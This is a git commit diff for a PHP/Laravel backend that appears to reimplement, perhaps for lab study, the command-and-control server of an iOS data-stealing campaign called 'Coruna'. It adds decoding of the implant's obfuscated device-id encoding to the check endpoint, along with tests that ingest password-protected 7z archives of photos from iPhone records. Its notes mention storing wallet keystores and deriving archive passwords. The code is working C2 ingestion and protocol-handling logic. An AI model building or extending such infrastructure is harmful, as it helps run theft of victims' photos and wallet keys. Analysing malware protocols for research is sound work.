This commit is contained in:
hashbro
2026-08-05 06:29:45 +08:00
parent 7b9bdecf53
commit 5145b6f719
6 changed files with 184 additions and 7 deletions
+4 -1
View File
@@ -57,7 +57,9 @@ null
| `s` / `u` / `sbu` | 其它会话/用户侧短字段 |
| `v` | 插件或模块版本串 |
设备主键启发式:`id` → `d` → `f` → `c`(见 `IngestService::extractDeviceKey`)。
设备主键:只取 `d` / `f`(见 `IngestService::extractDeviceKey`)。
`/api/user/check` multipart 的 `d`/`f` 为编码形态
`hex(ascii(nibbleSwap(byteReverse(json_d))))`(例:`000430C910E8E526` → `36323545384530313943303334303030`);Lab 在入库前归一化为 JSON 侧 16 hex。
---
@@ -329,6 +331,7 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
| `x-hit` | 检测分数类短字段 |
| `rid` | ~36 字符请求/资源 id |
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 |
| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 |
7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。
@@ -102,9 +102,12 @@ class C2Controller extends Controller
public function check(Request $request): Response
{
$deviceKey = $request->attributes->get('coruna_device_key')
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->upsertDevice(
$request,
array_filter([
@@ -112,7 +115,7 @@ class C2Controller extends Controller
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
$deviceKey
);
// Archive password = session_key || batchBaseTimestampString.
@@ -3,6 +3,7 @@
namespace App\Http\Middleware;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
@@ -59,6 +60,7 @@ class DecryptCorunaBody
}
// Device id currently only from d/f (same value in live traffic).
// /check multipart may send the hex-ascii + nibble/byte-swapped form.
if (is_array($payload)) {
foreach (['d', 'f'] as $k) {
if (! empty($payload[$k]) && is_string($payload[$k])) {
@@ -66,6 +68,17 @@ class DecryptCorunaBody
break;
}
}
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
foreach (['d', 'f'] as $k) {
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
$deviceKey = $payload['form'][$k];
break;
}
}
}
}
if (is_string($deviceKey) && $deviceKey !== '') {
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
+54 -4
View File
@@ -19,21 +19,69 @@ class IngestService
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*
* `/api/user/check` multipart sends an encoded form of the same id
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
$candidates = [];
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['d'] ?? null;
$candidates[] = $payload['form']['f'] ?? null;
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
foreach ($candidates as $value) {
if (! empty($value) && is_string($value)) {
return self::normalizeDeviceKey(substr($value, 0, 64));
}
}
return null;
}
/**
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
*
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
* Plain 16-hex (and non-matching strings) pass through unchanged.
*/
public static function normalizeDeviceKey(?string $key): ?string
{
if ($key === null || $key === '') {
return $key;
}
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
return $key;
}
$ascii = hex2bin($key);
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
return $key;
}
$raw = hex2bin($ascii);
if ($raw === false || strlen($raw) !== 8) {
return $key;
}
$rev = strrev($raw);
$out = '';
for ($i = 0; $i < 8; $i++) {
$b = ord($rev[$i]);
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
}
return $out;
}
/**
* Campaign / channel id from reporting traffic.
*
@@ -70,7 +118,9 @@ class IngestService
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
+58
View File
@@ -343,6 +343,64 @@ class C2ApiTest extends TestCase
@rmdir($tmp);
}
#[Test]
public function check_normalizes_encoded_device_key_onto_existing_device(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
Device::query()->create([
'device_id' => '000430C910E8E526',
'ios_version' => '15.8.4',
'device_model' => 'iPhone9,1',
'ip' => '1.2.3.4',
]);
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/api/user/check',
[
// Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d))))
'd' => '36323545384530313943303334303030',
'f' => '36323545384530313943303334303030',
'batchBase' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertNull(
Device::query()->where('device_id', '36323545384530313943303334303030')->first()
);
$this->assertNull(
Device::query()->where('device_id', '625E8E019C034000')->first()
);
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertTrue(
Photo::query()->where('device_id', $device->id)->exists()
);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function check_uses_multipart_ts_as_batch_base_password(): void
{
@@ -0,0 +1,50 @@
<?php
namespace Tests\Unit;
use App\Services\IngestService;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class IngestServiceNormalizeTest extends TestCase
{
#[Test]
public function check_multipart_device_key_maps_to_json_form(): void
{
$this->assertSame(
'000430C910E8E526',
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
);
$this->assertSame(
'000430C910E8E526',
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
);
}
#[Test]
public function plain_json_device_key_passes_through(): void
{
$this->assertSame(
'000430C910E8E526',
IngestService::normalizeDeviceKey('000430C910E8E526')
);
$this->assertSame('dev-photo-1', IngestService::normalizeDeviceKey('dev-photo-1'));
$this->assertNull(IngestService::normalizeDeviceKey(null));
$this->assertSame('', IngestService::normalizeDeviceKey(''));
}
#[Test]
public function extract_device_key_normalizes_form_nested_d(): void
{
$ingest = $this->app->make(IngestService::class);
$this->assertSame(
'000430C910E8E526',
$ingest->extractDeviceKey([
'form' => [
'd' => '36323545384530313943303334303030',
'f' => '36323545384530313943303334303030',
],
])
);
}
}